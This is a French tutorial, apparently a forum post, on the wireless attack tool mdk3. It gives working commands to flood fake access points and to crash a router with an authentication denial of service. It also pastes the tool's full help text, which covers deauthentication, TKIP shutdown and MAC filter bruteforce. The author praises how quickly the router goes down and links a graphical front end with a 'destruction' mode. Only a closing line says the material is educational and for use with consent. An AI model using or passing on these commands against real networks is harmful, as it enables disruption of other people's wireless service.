tuto mdk3 fake ap; crash d'ap

On va voir comment utiliser mdk3, mdk3 est dans backtrack 3 il permet de faire des trucs sympa comme flooder un routeur.

sinon: mdk3-v4.tar.bz2

Bon, c'est pas bien compliqué il suffit de lire l'aide, petit exemple en créant un fake ap.
On commence à placer la carte en mode monitor
airmon-ng start wlan2
(wlan2 a remplacer par votre carte wifi "airmon-ng")
mdk3 wlan2 b -v /root/mdk -w -g -c 3

wlan2 la carte wifi
b pour beacon flood mode
-v pour spécifier un fichier contenant mac et ssid
-w spécifie une encryption wep
-g pour le mode g
-c 3 pour le channel 3

Pour le fichier texte on rentre l'@ mac suivie du ssid comme indiqué sur la capture.

Alors attention ca crash parfois les drivers wifi et les scanner (mon scanner était ensuite figée)
Attention rentrer un ssid et une @ mac éxistante sur le channel ou vous réalisez votre fake ap risque de crasher le routeur.

tuto crash de driver wifi et scanner wifi avec mdk3



Maintenant démonstration avec un dos, mdk3 wlan2 a -a 00:11:22:33:44:55

wlan2 votre interface wifi
a dos qui va provoquer un très grand nombre d'authentification sur le routeur
-a l'adresse mac du routeur
Attention ce mode crash le point d'accès très rapidement, couplé au fake ap c'est encore plus redoutable.
(moins de 10 minutes)

Vous pouvez regarder ce que cela donne dans airodump-ng, sans commentaire...



Il éxiste une interface graphique réalisé par shamanvirtuel pour mdk3 il est redoutablement éfficace, vous pouvez le télécharger ici:

link : http://neovortex.kodings.googlepages.co … n2.0.1.lzm

installation dans backtrack:

lzm2dir charon2.0.1.lzm /

Présentation de charon et du mode destruction:

Normallement un ap crashé est vérifiable sous windows avec netstumbler, il devrait indiqué l'ap avec un point gris.

Vous avez d'autre possibilités qui ne sont pas présenté ici (comme le blocage de trafic, le décodage d'ssid...), tout est dans la man.


l'aide:

MDK 3.0 v4 - "We love Microsoft® Windows® VISTA®"-Edition :)
(Yes, this is IRONY, you stupid fuck!)
by ASPj of k2wrlz, using the osdep library from aircrack-ng
And with lots of help from the great aircrack-ng community:
Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape,
telek0miker, Le_Vert, sorbo, Andy Green and bahathir
THANK YOU!

MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses.
IMPORTANT: It is your responsibility to make sure you have permission from the
network owner before running MDK against it.

This code is licenced under the GPLv2

MDK USAGE:
mdk3 [test_options]

Try mdk3 --fullhelp for all test options
Try mdk3 --help for info about one test only

TEST MODES:
b - Beacon Flood Mode
Sends beacon frames to show fake APs at clients.
This can sometimes crash network scanners and even drivers!
a - Authentication DoS mode
Sends authentication frames to all APs found in range.
Too much clients freeze or reset some APs.
p - Basic probing and ESSID Bruteforce mode
Probes AP and check for answer, useful for checking if SSID has
been correctly decloaked or if AP is in your adaptors sending range
SSID Bruteforcing is also possible with this test mode.
d - Deauthentication / Disassociation Amok Mode
Kicks everybody found from AP
m - Michael shutdown exploitation (TKIP)
Cancels all traffic continuously
x - 802.1X tests
w - WIDS/WIPS Confusion
Confuse/Abuse Intrusion Detection and Prevention Systems
f - BRAND NEW MAC FILTER BRUTEFORCE MODE
This test uses a list of known client MAC Adresses and tries to
authenticate them to the given AP while dynamically changing
its response timeout for best performance. It currently works only
on APs who deny an open authentication request properly


b - Beacon Flood Mode
Sends beacon frames to show fake APs at clients.
This can sometimes crash network scanners and even drivers!
OPTIONS:
-n
Use SSID instead of randomly generated ones
-f
Read SSIDs from file
-v
Read MACs and SSIDs from file. See example file!
-d
Show station as Ad-Hoc
-w
Set WEP bit (Generates encrypted networks)
-g
Show station as 54 Mbit
-t
Show station using WPA TKIP encryption
-a
Show station using WPA AES encryption
-m
Use valid accesspoint MAC from OUI database
-h
Hop to channel where AP is spoofed
This makes the test more effective against some devices/drivers
But it reduces packet rate due to channel hopping.
-c
Fake an AP on channel . If you want your card to hop on
this channel, you have to set -h option, too!
-s
Set speed in packets per second (Default: 50)
a - Authentication DoS mode
Sends authentication frames to all APs found in range.
Too much clients freeze or reset almost every AP.
OPTIONS:
-a
Only test the specified AP
-m
Use valid client MAC from OUI database
-c
Do NOT check for test being successful
-i
Perform intelligent test on AP (-a and -c will be ignored)
This test connects clients to the AP and reinjects sniffed data to keep them alive
-s
Set speed in packets per second (Default: unlimited)
p - Basic probing and ESSID Bruteforce mode
Probes AP and check for answer, useful for checking if SSID has
been correctly decloaked or if AP is in your adaptors sending range
Use -f and -t option to enable SSID Bruteforcing.
OPTIONS:
-e
Tell mdk3 which SSID to probe for
-f
Read lines from file for bruteforcing hidden SSIDs
-t
Set MAC adress of target AP
-s
Set speed (Default: unlimited, in Bruteforce mode: 300)
-b
Use full Bruteforce mode (recommended for short SSIDs only!)
Use this switch only to show its help screen.
d - Deauthentication / Disassociation Amok Mode
Kicks everybody found from AP
OPTIONS:
-w
Read file containing MACs not to care about (Whitelist mode)
-b
Read file containing MACs to run test on (Blacklist Mode)
-s
Set speed in packets per second (Default: unlimited)
-c [chan,chan,chan,...]
Enable channel hopping. Without providing any channels, mdk3 will hop an all
14 b/g channels. Channel will be changed every 5 seconds.
m - Michael shutdown exploitation (TKIP)
Cancels all traffic continuously
-t
Set Mac address of target AP
-w
Seconds between bursts (Default: 10)
-n
Set packets per burst (Default: 70)
-s
Set speed (Default: 400)
x - 802.1X tests
0 - EAPOL Start packet flooding
-n
Use SSID
-t
Set MAC address of target AP
-w
Set WPA type (1: WPA, 2: WPA2/RSN; default: WPA)
-u
Set unicast cipher type (1: TKIP, 2: CCMP; default: TKIP)
-m
Set multicast cipher type (1: TKIP, 2: CCMP; default: TKIP)
-s
Set speed (Default: 400)
1 - EAPOL Logoff test
-t
Set MAC address of target AP
-c
Set MAC address of target STA
-s
Set speed (Default: 400)
w - WIDS/WIPS Confusion
Confuses the WIDS to detect own APs as rogues
-e
SSID of target network
-c [chan,chan,chan...]
Use channel hopping
f - BRAND NEW MAC FILTER BRUTEFORCE MODE
This test uses a list of known client MAC Adresses and tries to
authenticate them to the given AP while dynamically changing
its response timeout for best performance. It currently works only
on APs who deny an open authentication request properly
-t
Target BSSID
-m
Set the MAC adress range to use (3 bytes, i.e. 00:12:34)
Without -m, the internal database will be used

Attention, c'est uniquement à titre éducatif, vous pouvez éssayer uniquement sur votre materiel ou avec l'accord de la personne.

Un problème? Venez en parler sur le forum, tout a une solution :D